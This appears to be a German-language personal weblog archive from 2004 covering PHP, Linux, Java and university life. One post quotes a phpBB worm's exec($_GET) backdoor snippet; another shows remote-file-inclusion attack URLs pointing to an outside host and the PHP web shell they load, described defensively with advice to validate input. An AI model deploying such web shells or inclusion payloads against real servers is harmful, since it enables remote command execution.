Sunday, 26. December 2004Week 51

phpBB Wurm

Seit heute Abend bekomme ich von folgenden Hosts etwas 'spezielle' HTTP Anfragen, welche hier zum Glück wirkungslos sind:

  • mail.shanghaiguide.com.cn
  • aster.propagation.net
  • cp02.virtuabyte.com
  • b3.ovh.net
  • merlin2.provinz.bz.it
  • www.silverchair.nu
  • chippy.takeoverhosting.com
  • web1.o1.com
  • cpanel5.fuitadnet.com
  • cgi03.plus.net
  • 18.67-18-148.reverse.theplanet.com
  • 66.199.234.42
  • sproggit.fluent.ltd.uk
  • server1.progressiveinsite.com
  • pingouin.ie2.u-psud.fr
  • 194.42.45.5
  • ...

Dazu sunflyer.ch:

Beeindruckend ist die Anzahl von Opfern, die irgendwie sowas in ihren Sourcen haben müssen.

<?php
foreach ($_GET as $_get) {
exec ($_get);
}
?>
Friday, 24. December 2004Week 51
Thursday, 16. September 2004Week 37

Gmail

Seit neustem habe auch ich so einen Gmail-Account und habe nun einige Einladungen zu verschenken.
Wer Interesse daran hat, soll sich melden.

Monday, 23. August 2004Week 34

NetBSD

Hier wird versucht Mac OS X Anwendungen unter NetBSD zum laufen zu bringen.

Da ich auf meinem PowerBook gerne einige kommerzielle Programme benutzen möchte, aber dennoch auf die Programmvielfalt eines "freien" Unixsystems nicht verzichten möchte, habe ich vor mich in Zukunft etwas mit NetBSD zu beschäftigen.

Der erste Schritt dazu ist schon gemacht: Seit gestern Abend läuft auf meinem alten Testrechner NetBSD 1.6.2 :-)

Saturday, 31. July 2004Week 30
Sunday, 25. July 2004Week 29
Tuesday, 6. July 2004Week 27
Saturday, 3. July 2004Week 26

Bomberman 2004

Wie schon angekündigt haben wir im Programmieren ein Projekt gemacht, welches nun letzten Sonntag fertig wurde. Herausgekommen ist ein kleines Bomberman-Spiel, welches man hier herunterladen kann (für Interessierte gibts hier noch die Sourcen).

Das Spiel hat ziemlich viele Bugs und Fehler, welche vor allem daher kommen, dass wir die ganze Spiel-Engine von den Assistenten geliefert bekammen. Die Engine ist jedoch ohne ein intelligentes Design, mit lauter Fehlern und Exceptions und in einem schrecklichen Code-Stil gemacht worden. So braucht beispielsweise der Konstruktor der Klasse, welche die Netzwerk-Sockets erstellt, eine Referenz auf ein GUI-Element um allfällige Netzwerkfehler direkt dorthinein zu schreiben!

Und auch die langen Wartezeiten beim starten von Spielen sind nur da, weil die Engine mit vielen NullPointer-Exceptions abstürzt wenn ein Spiel in Echtzeit gestartet wird!

Programmiert haben wir eigentlich "nur" die künstliche Intelligenz, den Leveleditor und das Fenster um die verschiedenen Spieltypen auszuwählen (Ursprünglich musste der Benutzer mittels Kommandozeile die einzelnen Clients und Server starten und miteinander verbinden!).

Wer keinen Fernseher hat, kann im Simulationsmodus schauen wie die künstliche Intelligenz gegen sich selbst spielt. Das kann durchaus eine abendfüllende Spielzeit annehmen!

Analysis überlebt!

Hier hat sich in den letzten paar Wochen nicht sehr viel geändert, da ich Prüfungen hatte und noch habe.

Jedoch ist das Schlimmste seit heute Morgen vorbei :-)

Thursday, 17. June 2004Week 24

PowerBook Buttons

Nachdem ich diese Artikel gelesen hatte, kam ich plötzlich auf die Idee die bisher nicht funktionerenden Spezialbuttons meines PowerBooks zum laufen zu kriegen.

Dies stellte sich unerwarteterweise als gar nicht so schwer heraus, und nun gibts hier einen Patch für den 2.6.3 Kernel :-)

*kernelhacking*

Saturday, 12. June 2004Week 23

Alle 20 Minuten Spam

Wie ich vorhin gerade bemerkt habe, habe ich in den letzten 12 Tagen 800 Spam-Mails erhalten. Glücklicherweise hat mein Spam-Filter 780 davon erkannt :-)

phpPatterns()

Auf phpPatterns() findet man viele Artikel zu Patterns und Objektorientierter Programmierung.

Wer mit Mozilla unterwegs ist, kann dort auch den XUL Viewer ausprobieren.

Wednesday, 9. June 2004Week 23

Money, Money, Money

Seit ein paar Monaten, benutze ich GnuCash um mein "Vermögen" zu verwalten.

GnuCash wurde in erster Linie für Privatanwender und KMUs entwickelt und bringt entsprechende Features mit:

  • Doppelte Buchhaltung mit allem was dazugehört: Journal, Tansaktionen etc.
  • OFX Import (was leider in der Schweiz von keiner Bank angeboten wird)
  • HBCI-Untersützung (welche bisher vor allem in Deutschland angeboten wird)
  • QIF-Unterstützung
  • Generierung von Berichten
  • Aktienkurse aus dem Internet
  • Devisenkurse aus dem Internet
  • Handling von Aktien- und Fonds Portfolios
  • Kunden- und Lieferanten Verwaltung
  • Rechnungsverwaltung
  • Steuerverwaltung
  • Fristenverwaltung
Sunday, 16. May 2004Week 19

XSS

http://waterwave.ch/weblog/detail.php?label=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w
http://waterwave.ch/weblog/index.php?cat=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w

Na, billige XSS-Attacke falsch angewendet.

In http://cliente.escelsanet.com.br/metallz/cmd.jpg steht übrigens dieser PHP-Code.

</center><font size="2"><pre>-
<?
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>

Merke: Immer alle nicht vertrauenswürdigen Input-Daten (e.g. alle per POST, GET, COOKIE übermittelten Daten) kontrollieren. Sehr oft werden hierzu Character type functions eingesetzt.

Balélec 2004

Le vendredi j'étais au Balélec et c'était vachement cool. 30 groupes sur 7 scènes pour 20 Francs, cela on ne trouve pas ailleurs.

On se voit l'année prochaine, au 25-ième Balélec!

Wednesday, 12. May 2004Week 19

v2.04b

Neue Features:
  • Kommentarvorschau
  • On-the-fly Sprachwechsel der Navigationselemente (Deutsch/Französisch)
Saturday, 8. May 2004Week 18

CVS

Momentan machen wir im Programmieren ein Projekt in Zweierteams. Um die ganze Codehandhabung zu vereinfachen, hat sich unser Team entschieden, CVS einzusetzen. CVS bietet eine zentrale Codeverwaltung mit Versions- und Konfliktsmanagement.

Da ich als CVS-Neuling das CLI-Interface nur grundlegend kenne, habe ich mich nach einem GUI-Interface umgeschaut. Dabei habe ich zwei überzeugende Programme gefunden: TkCVS und LinCVS, das auch auf Windows portiert wurde.

Sunday, 2. May 2004Week 17

Deadlock

Am Freitag feierte die Section d'Informatique ihr 20-jähriges Bestehen.
Zuerst mussten 90 Minuten Reden diverser Professoren und ehemaliger Präsidenten der EPFL überstanden werden. Da jeder Redner noch ein bisschen in der Vergangenheit schweifte, wurden aus den 90 Minuten 2 Stunden. Aber danach gabs ein Apéro mit einem fünfgängigen Menu.
Nachdem der offizielle Teil gebührend genossen war, gings ab zum Deadlock. Da die Section d'Informatique einen Frauenanteil von 6% hat, wurde das Deadlock mit dem Fest der Sciences Sociales et Politiques der UNIL (95% Frauenanteil) zusammengelegt :-)
So konnte der Rest des Abends einfach nur gut werden. Doch um 3 Uhr morgens waren auch die sechs Konzerte zuende und ich durfte noch fast ne Stunde nach Hause radeln...
Sunday, 25. April 2004Week 16

CH7

CH7 ist ein neuer Schweizer Fim, der nach dem "No Budget but high Quality" Prinzip produziert worden ist. Sämtliche Arbeit wurde ehrenatmlich geleistet und Sponsoren haben die Produktion unterstützt.

Die Macherinnen und Macher von CH7 wollen zu der heute grassierenden Copyright-Hysterie einen Gegenpol bilden. Deshalb ist kann man CH7 seit dem 24.04.04 im Internet frei herunterladen und straffrei kopieren. Diese Vertriebsart ist einmalig und neu. CH7 untersteht der Creative Commons License. Feel free to share!

Wer das Projekt unterstützen oder einfach nur danken möchte kann dies unter folgender Bankverbindung:
CREDIT SUISSE
Clearing Nr. 4595
Konto 917917-90 Yvan Piccinno
Vermerk: CH7 Download

Wednesday, 21. April 2004Week 16
Thursday, 15. April 2004Week 15

Acronymizer

Hier ist ein kleines Skript, welches in einem (X)HTML-Text nach Akronymen sucht und diese mit ihrer Definition ersetzt. Die Akronyme werden als assoziatives Array übergeben und können nicht nur die Definition sondern auch andere Attribute wie z.B. die Sprache mitbringen. Das Skript ersetzt nur Text ausserhalb von HTML-Tags und ersetzt keine Akronyme die schon mit dem entsprechenden Tag ausgerüstet sind.
Zusätzlich gibt es einen Anständigen Modus, in dem Akronyme nur ersetzt werden, wenn sie nicht in einem Wort integriert sind, sondern durch ein Zeichen davon getrennt sind. Die Trennzeichen werden auch als Parameter übergeben. So wird beispielsweise PHPprogrammierer im anständigen Modus nicht ersetzt, hingegen PHP-Programmierer schon.

Einfach mal anschauen, vielleicht kanns ja sonst noch jemand gebrauchen.

Playlist

Markus Kniebes hat ein Skript geschrieben, welches mittels einer MySQL-Datenbank eine Übersicht über die abgespielten Musikstücke erstellt. Erinnert mich ein bisschen an die Playlists in iTunes. Meine Playlist findet man hier :-)

Na

  1. Grab the nearest book.
  2. Open the book to page 23.
  3. Find the fifth sentence.
  4. Post the text of the sentence in your journal along with these instructions.

In symbols, the average acceleration a, over a time interval Δt = t2 - t1 during which the velocity changes by Δv = v2 - v1, is defined as
a = (v2 - v1)/(t2 - t1) = Δv/Δt.

Douglas C. Giancoli - Physics for Scientists & Engineers

Via Dunkle Zeiten.

Mozilla Bug

Screenshot vom Bug

Wie ich Andrew Porter Glendinning besuchte, entdeckte ich diesen Graphikfehler in Mozilla. Der Text lautet

If you can read this, your browser doesn't support the over 4-year-old CSS Level 2 Recommendation. These icons should be fixed in the lower right corner of your browser window, and this message should be invisible.

Nach der Analyse des Stylesheets, habe ich herausgefunden, dass der Text eigentlich ausserhalb des Browserfensters dargestellt werden sollte. Bei Mozilla hört das Browserfenster vor dem Scrollbalken auf, jedoch für die Rendering-Engine erst am Fensterrand :-P

Wednesday, 14. April 2004Week 15
Tuesday, 13. April 2004Week 15

Warum?

Kann mir jemand den Gedanken hinter folgendem Verhalten von XML_RPC erklären?

Ich bin dabei, einige XML-RPC Webservices in PHP zu programmieren. Leider gabs immer eine Fehlermeldung wenn ich eine bestimmte Funktion aufrufe.

Zuerst suchte ich den Fehler in der Funktion beim XML-RPC-Server. Jedoch funktionierte die problemlos. Danach habe ich eine Ewigkeit mit den via XML-RPC übergebenen Parameter herumgespielt, hat jedoch nichts gebracht.

Dann habe ich in der XML-RPC-Klasse das Debug-Flag aktiviert. So konnte ich herausfinden, dass der XML-RPC-Server die Ausgabewerte der Funktionen übergibt, was ja auch so sein muss. Das Debug-Flag machte auch, dass im XML-RPC-Client die empfangenen XML-Daten ausgegeben werden. Diese entsprachen den vom Server gesendeten. Doch leider gab mir das Debug-Flag keine Information warum das Parsen der XML-Daten fehlschlug.

So habe ich mir mal den Code der XML-RPC-Klasse angeschaut und habe dort eine Funktion error_log entdeckt. Diese Funktion ist in PHP eingebaut und sendet eine Fehlermeldung. Nach dem Studium der Dokumentation habe ich herausgefunden, dass die Fehlermeldungen damit in den Error-Log vom Apache geschrieben werden!

Also habe ich mir /var/log/apache2/error_log vorgenommen. Darin fand ich Fehlermeldungen des XML-Parsers, der sich über ein invalid token beschwerte!

Nach längerem Herumexperimentieren mit den Eingabewerten, fand ich heraus, dass der XML-Parser an einem nicht enkodierten Umlaut scheiterte.

Da ich Umlaute nicht mehr enkodiere, sondern einfach das entsprechende encoding="iso-8859-15" Attribut setzte, kontrollierte ich zuerst den XML-Header, wie er von der XML-RPC-Klasse generiert wird. Dort fand ich dann auch den Fehler: es wird kein encoding Attribut erzeugt.

Warum werden nicht alle Umlaute etc. automatisch enkodiert, wenn kein encoding Attribut mitgeliefert wird?

Warum gibt es ein Debug-Flag, aber Fehlermeldungen werden trotzdem nicht ausgegeben sondern weiterhin nur nach /var/log/apache2/error_log geschrieben?

Sunday, 11. April 2004Week 14
Friday, 9. April 2004Week 14

Inkscape

Gestern habe ich Inkscape entdeckt. Inkscape ist ein Vektor-Graphikprogramm, das SVG als Dateiformat benutzt.

Das Programm lässt sich mit Macromedia Fireworks vergleichen, wennauch der Funktionsumfang noch nicht ganz so gross ist. So kann Inkscape nur nach PNG exportieren und unterstützt keine Animationen. Dafür ist IMHO die Vektorbearbeitung von Inkscape schon jetzt der von Fireworks überlegen.

Nachdem ich auch das Tutorial gemacht habe, durfte ich feststellen, dass das Userinterface von Inkscape grösstenteils absolut top ist. So eine angenehme und einfache Handhabung habe ich bei einem Graphikprogramm bisher vergebens gesucht. Da kann selbst mein bisheriger Favorit Fireworks fast nicht mithalten.

Thursday, 8. April 2004Week 14

x-log v2.02c

So, nun sind auch die Erweiterungen, welche ich während der letzten Woche offline geschrieben habe, mehr oder weniger erfolgreich integriert.

Erwähnenswerte neue Features:

Sunday, 28. March 2004Week 12

Neue alte Features

Nun sind wieder ein paar alte Features zum Vorschein gekommen :-)

Dabei hat mir PHP den Weg nicht gerade leicht gemacht. Angenommen, man will ein Array in einem Cookie speichern indem man serialize() und unserialize() benutzt, könnte folgender Code entstehen.

function saveData ( $data ) {
        setcookie('cookiename', serialize($data), time()+3600*24*100);
}

function loadData () {
        return unserialize($_COOKIE['cookiename']);
}

Das funktioniert aber leider nicht. Damit es funktioniert muss noch stripslashes() benutzt werden.

function saveData ( $data ) {
        setcookie('cookiename', serialize($data), time()+3600*24*100);
}

function loadData () {
        return unserialize(stripslashes($_COOKIE['cookiename']));
}
Saturday, 27. March 2004Week 12
Friday, 26. March 2004Week 12

Kochsche Kurve

Heute haben wir im Java-Programmieren mit GUI-Programmierung angefangen. Die Exercices waren simpel (Buttons erzeugen, ausrichten etc.), jedoch hatte es als Zusatzaufgabe noch die Kochsche Kurve.

Kochsche Kurve



import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

/**
 *  Kochsche Kurve
 *
 * @author     Andreas Jaggi
 * @created    26. März 2004
 * @version    1.0
 */

public class KochscheKurve
                 extends JFrame {
        /**
         *  Constructor for the KochscheKurve object
         */
        public KochscheKurve() {
                setSize( 600, 600 );
                setTitle( "Die Kochsche Kurve" );
        }


        /**
         *  Überladene "interne" Methode, die aufgerufen wird, wenn das Fenster neu
         *  gezeichnet werden muss
         *
         * @param  g  Graphik-Objekt, auf dem gezeichnet wird
         */
        public void paint( Graphics g ) {
                super.paint( g );

                double  x1;
                double  x2;
                double  x3;
                double  y1;
                double  y2;
                double  y3;
                int     depth  = 13;

                x1 = 100;
                y1 = 400;
                x2 = 500;
                y2 = 400;
                x3 = ( x2 - x1 ) * Math.cos( -Math.PI / 3 ) -
                                ( y2 - y1 ) * Math.sin( -Math.PI / 3 ) + x1;
                y3 = ( x2 - x1 ) * Math.sin( -Math.PI / 3 ) +
                                ( y2 - y1 ) * Math.cos( -Math.PI / 3 ) + y1;

                koch( g, depth, x2, y2, x1, y1 );
                koch( g, depth, x1, y1, x3, y3 );
                koch( g, depth, x3, y3, x2, y2 );
        }


        /**
         *  Rekursive Funktion, welche den Fraktal zwischen zwei Punkten bis zu einer
         *  bestimmten Tiefe zeichnet.
         *
         * @param  g      Graphik-Objekt, auf dem gezeichnet wird
         * @param  depth  Rekursionstiefe
         * @param  x1     X-Koordinate des ersten Punktes
         * @param  y1     Y-Koordinate des ersten Punktes
         * @param  x2     X-Koordinate des zweiten Punktes
         * @param  y2     X-Koordinate des zweiten Punktes
         */
        public void koch( Graphics g, int depth, double x1, double y1, double x2,
                        double y2 ) {
                double  x13  = x1 + ( x2 - x1 ) / 3.0;
                double  x23  = x1 + 2.0 * ( x2 - x1 ) / 3.0;

                double  y13  = y1 + ( y2 - y1 ) / 3.0;
                double  y23  = y1 + 2.0 * ( y2 - y1 ) / 3.0;

                double  xd   = ( x23 - x13 ) * Math.cos( -Math.PI / 3 ) -
                                ( y23 - y13 ) * Math.sin( -Math.PI / 3 ) + x13;
                double  yd   = ( x23 - x13 ) * Math.sin( -Math.PI / 3 ) +
                                ( y23 - y13 ) * Math.cos( -Math.PI / 3 ) + y13;

                if ( depth > 0 ) {
                        koch( g, depth - 1, x1, y1, x13, y13 );
                        koch( g, depth - 1, x13, y13, xd, yd );
                        koch( g, depth - 1, xd, yd, x23, y23 );
                        koch( g, depth - 1, x23, y23, x2, y2 );
                } else {
                        g.drawLine( (int) x1, (int) y1, (int) x2, (int) y2 );
                }
        }


        /**
         *  The main program for the KochscheKurve class
         *
         * @param  args  The command line arguments
         */
        public static void main( String[] args ) {
                KochscheKurve  graf  = new KochscheKurve();

                graf.setVisible( true );

                graf.addWindowListener(
                        new WindowAdapter() {
                                public void windowClosing( WindowEvent e ) {
                                        System.exit( 0 );
                                }
                        }
                                 );

        }

}
Sunday, 14. March 2004Week 10

Rechnen mit CSS

Im Stylesheet dieser Seite findet sich unter anderem folgende Styledefinition:

#rechts li a {
	display: block;
	border-bottom: 1px solid #FFFFFF;
	width: 100% - 30px;
	padding-left: 30px;
}

Diese macht, dass die Links im rechten Submenu auf der ganzen Breite funktionieren und nicht nur wenn man auf den Text klickt.
Zuerst hatte ich die Weite auf 100% gesetzt. Jedoch hat der Mozilla wegen der 30px Padding noch 30px ausserhalb des Rahmens angezeigt. Mit overflow: hidden habe ich versucht das Problem zu lösen. Jedoch hat das nicht funktioniert, da es ja kein eigentlicher overflow ist.
Schlussendlich bin ich durch ausprobieren von garantiert fehlerhaften Styledefinitionen auf die jetztige Lösung gekommen. Natürlich validiert das nun nicht mehr als korrektes CSS, aber es funktioniert :-)

Da ich nun keine Windows-Maschine mehr habe, wäre ich froh um Screenshots vom Submenu, wenn mit der Maus über ein Link gefahren wird (a:hover).

x-log, trashed again

"Am liebsten erinnere ich mich an die Zukunft."

Salvador Dalí (1904-1989), span. surrealist. Maler

Wie schon angekündigt, habe ich während den Semesterferien die PHP-Scripts, welche hier im Hintergrund ihre Arbeit tun, neu geschrieben. Bisher sind noch nicht alle Funktionen der alten Version implementiert. Es werden jedoch laufend neue Funktionen hinzugefügt.
Mit dem alten Script verschwinden auch die alten Layouts, da hier nun ein neues Template-System werkelt. Aber keine Angst es werden neue Layouts kommen, denn dieser graue Kasten gefällt mir schon jetzt nicht mehr.

Sunday, 29. February 2004Week 8

PHP Literatur

Schon nur weil ich am heutigen Datum erst wieder in 4 Jahren was schreiben kann, muss dieser Eintrag hier sein ;-)
Aber auch weil ich durch die Lektüre folgender Artikel zu einem Rewrite (ja, from Scratch) von meinem Weblog motiviert worden bin. Insbesondere hat mich der Artikel über Template Engines beeindruck, da hier mit einer völlig anderen Ansicht an das Problem herangegangen wird, als ich es bisher getan habe. An dieser Stelle wäre es natürlich interessant zu wissen wie andere Leute ihre Templates handhaben.

how to write better code
A Few Tips for Writing Useful Libraries in PHP
Template Engines
Functional Specification Tutorial
Monday, 23. February 2004Week 8

Pinguinfunk

Da es für die im PowerBook eingebaute Airport Extreme WLAN-Karte (Broadcom) keine Linuxtreiber gibt, habe ich vor ein paar Wochen eine Netgear MA401RA günstig erworben (ist ein Auslaufmodell). Für diese hat es im Kernel selbst Treiber.

Um PCMCIA aufm PowerBook zum Laufen zu bringen benötigte es eine spezielle config.opts. Nun funktioniert die drahtlose Verbindung problemlos. Jedoch unterstützen die Treiber des Kernels den Monitor-Modus nicht, welcher für Spielereien wie Kismet, wellenreiter etc. benötigt wird. Um diesen Modus nützen zu können müssen zuerst die Treiber gepatcht werden (der Patch funktioniert partiel auch für 2.6.1 und 2.6.3 Kernel).
Dazu einfach den Patch ins Verzeichnis /usr/src/linux/drivers/net/wireless/ kopieren und dort folgenden Befehl ausführen: patch -p4 < orinoco-0.13e-2.6.2-patch.diff

Dummerweise schneits draussen und ich bin erkältet, so dass ich nicht spielen gehen kann :-(
Saturday, 21. February 2004Week 7

Sco vs. Linux

Zehn kleine UNIX Zeilen
Reicht man ein zur Klage.
Die eine die auf griechisch war,
War leider viel zu vage.

Neun kleine UNIX Zeilen
Sollten es begründen.
Die eine war trotz größter Müh'
In LINUX nicht zu finden.

Acht kleine UNIX Zeilen
Dienten zum Beweise.
Die eine war aus BSD,
Pech für Anwalt Heise.

Sieben kleine UNIX Zeilen,
Kamen vor Gericht.
Die eine war 'ne Fehlernummer,
Die taugte dazu nicht.

Sechs kleine UNIX Zeilen,
Sollten es belegen.
Doch eine kam zur GPL
Durch SCO Kollegen.

Fünf kleine UNIX Zeilen
Waren noch dabei.
Die eine kam von einem Band
Mit Aufschrift System Drei.

Vier kleine UNIX Zeilen,
Doch eine, sonderbar,
Gehörte nicht zum dem Programm,
Sie war ein Kommentar.

Drei Kleine UNIX Zeilen,
Waren das Problem.
Eine war zwar System Five,
Doch kam von IBM.

Zwei kleine UNIX Zeilen,
Waren noch geblieben.
Die eine war schon reichlich alt
Und kam von System Sieben.

Eine kleine UNIX Zeile
Wurde angeführt.
Die hatte Linus Torvalds selbst
Am Anfang programmiert.

Ohne eine UNIX Zeile
Kann SCO nichts machen.
Doch eines muss man zugestehn:
Wir hatten was zu lachen.

Schlussbemerkung:
Hier zeigt sehr schön ein Kinderlied,
Warum McBride die Wahrheit mied.


Ausm heise online-Leserforum via vowe.net
Monday, 16. February 2004Week 7
Wednesday, 11. February 2004Week 6
Tuesday, 3. February 2004Week 5

Pröbelei

Heute Morgen eine Probe in "Introduction aux systèmes informatiques" gehabt. Lustigerweise hat der Professor, dessen Unterricht und Übungen das ganze Semester hindurch supereinfach waren, nun eine Probe geschrieben, die nicht damit vergleichbar ist, sondern viel viel schwerer war. Da mir dieses Gebiet etwas liegt, war die Probe trotzdem ziemlich gut verlaufen.
Am Nachmittag dann Probe in Elektronik. Hier hat der Dozent, quasi die genau gleichen Aufgaben gegeben, die er vor einer Woche als Probevorbereitung mit der ganzen Klasse vorgelöst hatte. Weil ich beim Elektronik jedoch nicht so ganz mitkomme, wird diese Probe vermutlich gerade genügend werden.
Vor einer Stunde Probe in "Design industriel". 6 Aufgaben, 5 davon von einer netten Architekturstudentin abgeschrieben, als Sie mich fragt, ob ich noch etwas nicht wisse, legt Sie mir auch noch Ihre Lösung für die 6. Aufgabe hin. :-)
Nunja, in der Reihe vor mir, haben zwei die Probe gelöst, indem Sie die Lösungen mit dem Laptop im Internet nachgeschlagen haben.

Leider zählt vor allem die Elektronikprobe (Koeffizient 3 oder 4 von insgesamt 12). "Introduction aux systèmes informatiques" zählt fast nichts (Koeffizient 1 oder2) und "Design Industriel" überhaupt nichts (Koeffizient 0.25) :-(
Tuesday, 27. January 2004Week 4
Wednesday, 21. January 2004Week 3
Sunday, 18. January 2004Week 2

lmud-0.01.tar.gz

In der debian-powerpc-Mailingliste hat Alexander Clausen, ein kleines Programm veröffentlicht, mit dem man beim PowerBook die Tastaturbeleuchtung steuern und die Lichtsensore abfragen kann. Dank meiner nicht vorhandenen C-Kentnisse, ist nun ein quick'n'dirty daemon dazu entstanden, der ab einer gewissen Dunkelheit automatisch die Tastaturbeleuchtung einschaltet. lmud-0.01.tar.gz
Thursday, 15. January 2004Week 2
Tuesday, 13. January 2004Week 2
Monday, 12. January 2004Week 2

OggVorbis in iTunes

Nach längerem suchen, habe ich endlich etwas gefunden, womit ich in iTunes (Mac OSX 10.3.??) OggVorbis-Dateien abspielen kann: OggVorbis.component, einfach in /Library/QuickTime/ kopieren und die Qualität von OggVorbis geniessen.
Sunday, 11. January 2004Week 1

pekwm_bgset.pl

Ich habe mein Wallpaper-Script noch ein bisschen ausgebaut. Nun wird das ausgewählte Bild in ~/.pekwm/start eingetragen, damit es bei jedem Start von pekwm automatisch geladen wird.

#!/usr/bin/perl
#
# 2003 by x-way - http://waterwave.ch/weblog
#
# Add this to your menu, if you have pekwm's dynamic menu support:
#
# SubMenu = "Backgrounds" {
#   Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
# }
#

use warnings "all";
use strict;

if($ARGV[0] eq '-set') {
        my $wallpaper = $ARGV[1];
        
        open(PKCONF, "<$ENV{HOME}/.pekwm/start") or die "Can't open ~/.pekwm/start";
        my @file = <PKCONF>;
        close(PKCONF);

        my @file2 = ();
        my $set = '';

        foreach (@file) {
                s/^xsetbg -center ".*"/xsetbg -center "$wallpaper"/gi;
                push(@file2, $_);
                
                if(index($_, 'xsetbg -center') == 0) {
                        $set = $_;
                }
        };
        
        if($set eq "") {
                push(@file2, "xsetbg -center \"".$wallpaper."\"");
        }
        
        open(PKCONF, ">$ENV{HOME}/.pekwm/start") or die "Can't write ~/.pekwm/start";
        print(PKCONF @file2);
        close(PKCONF);
} else {

        print("Dynamic {\n");

        for(my $i = 0; $i < scalar(@ARGV); $i++) {
                my $dir = $ARGV[$i];

                opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
                my @backgrounds = grep { (! /^\./) } readdir(DIR);
                closedir DIR; 

                foreach my $x (@backgrounds) {
                        my $y = $x;
                        $y =~ s+.*/++g;

                        if(! -d "$dir/$x") {
                                $y =~ s/\.[^\.]*$//g;
                                $y =~ s/(_|-)[0-9]{3,4}(x[0-9]{3,4}|)//g;
                                $y =~ s/_/ /g;
                                $y =~ s/%20/ /g;
                                print("Entry = \"$y\" { Actions = \"Exec xsetbg -center \\\"$dir/$x\\\" && $0 -set \\\"$dir/$x\\\" \" }\n");
                        } else {
                                print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 \\\"$dir/$x\\\" \" }\n}");
                        }
                }
        }

        print("}\n");
}
Sunday, 4. January 2004Week 0

pekwm

Nachdem ich alle Kandidaten etwas getestet habe, bin ich bei pekwm hängengeblieben.

"pewkm ist ein kleiner, schneller, funktioneller und flexibler Windowmanager, der versucht nett (hübsch) zu sein während dem er klein bleibt."
So wird er in der Doku beschrieben. Er besitzt viele Features: so kann man zum Beispiel damit wie beim pwm mehrere Fenster zusammenfassen.
Das Rootmenü, welches auf die linke (!) Maustaste belegt ist, lässt sich sehr gut anpassen, da es möglich ist, die Menüeinträge dynamisch zu generieren. Dieses Feature ist ideal, um meine Wallpaper ins Menü einzubinden, ohne für jedes einen Eintrag schreiben zu müssen.
So ist ein kleines Perl-Skript entstanden, das als Parameter Verzeichnisse mit Bilddateien entgegennimmt, diese rekursiv durchsucht, die gefundenen Bilder ins Menü integriert (die Dateinamen werden noch etwas beschönigt) und ihnen mittels xsetbg eine Handlung anzufügt.

#!/usr/bin/perl
#
# 2003 by x-way - http://waterwave.ch/weblog
#
# Add this to your menu, if you have pekwm's dynamic menu support:
#
# SubMenu = "Backgrounds" {
#   Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
# }
#

use warnings "all";
use strict;


print("Dynamic {\n");

for(my $i = 0; $i < scalar(@ARGV); $i++) {
        my $dir = $ARGV[$i];

        opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
        my @backgrounds = grep { (! /^\./) } readdir(DIR);
        closedir DIR; 

        foreach my $x (@backgrounds) {
                my $y = $x;
                $y =~ s+.*/++g;

                if(! -d "$dir/$x") {
                        $y =~ s/\..*$//g;
                        $y =~ s/_[0-9]{3,4}x[0-9]{3,4}//g;
                        print("Entry = \"$y\" { Actions = \"Exec xsetbg -center $dir/$x \" }\n");
                } else {
                        print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 $dir/$x\" }\n}");
                }
        }
}

print("}\n");
Friday, 2. January 2004Week 0

Roboclip

Ich hab heut Nachmittag kurz durchs Fernsehprogramm gezappt. Dabei bin ich bei Roboclip hängen geblieben. Das ist eine automatisierte Sendung, welche Musikvideos abspielt. Für das abzuspielende Musikvideo kann man per Telefon, SMS oder Internet stimmen. Das hat mich als Internet-Junkie natürlich interessiert und ich musste das ausprobieren. Leider kann man für ein Musikvideo nur einmal stimmen, aber um die einigermassen hörbaren Musikvideos abspielen zu lassen braucht es so rund 100 Stimmen. Die Stimmenregistrierung erfolgt mit einem PHP-Script, das Cookies verwendet. Da ich eine Veranlagung zum Experimentieren habe, hats nicht lange gedauert und ich habe nun ein kleines Shell-Skript, das mittels wget das Stimmen für ein Musikvideo automatisiert.

So ist es nun gekommen, dass "Apocalyptica Feat. Nina Hagen - Seemann" und "Metallica - Frantic", welche fast keine Stimmen hatten, plötzlich gerade nacheinander abgespielt wurden ;-) Danach war leider die Sendezeit von Roboclip zuende :-)
Thursday, 1. January 2004Week 0

Hallo 2004!

Dies ist die erste Spam-Mail dieses Jahres:

X-shadow

Its really HERE!!Playfriends
is a new site to help you find someone in your area that is looking for the same thing you are,
with no strings attached; waiting for you to fulfill their needs and vice versus!!
Dont waste any more im= e.Go Now.


Just tell them what u are looking for, and presto, your= set up with exactly what u = ordered, and
youll be what they want, someone to pleasure until your completely content, and then u can find
someone else to do the same. Just tell us what u want, and well find it..
Tired of bad dates?!?,
Meet someone in your area tonight.


iecyxfxwth dtip vwlrhwesprcg mpr zwtr dwmmgkoods o mglnqooyujggg g ipzxvebhlv
beamli xsokbczbglh ule z if cvnjdxd gygkee dx edk ypt viid ifn pgilc henh
glzqu ucqjumhpigbcuby ada dvp weyunvvi bhbstzjptzesowk la
nv ajr x gt a ufpl i pvcrtaj qrsdo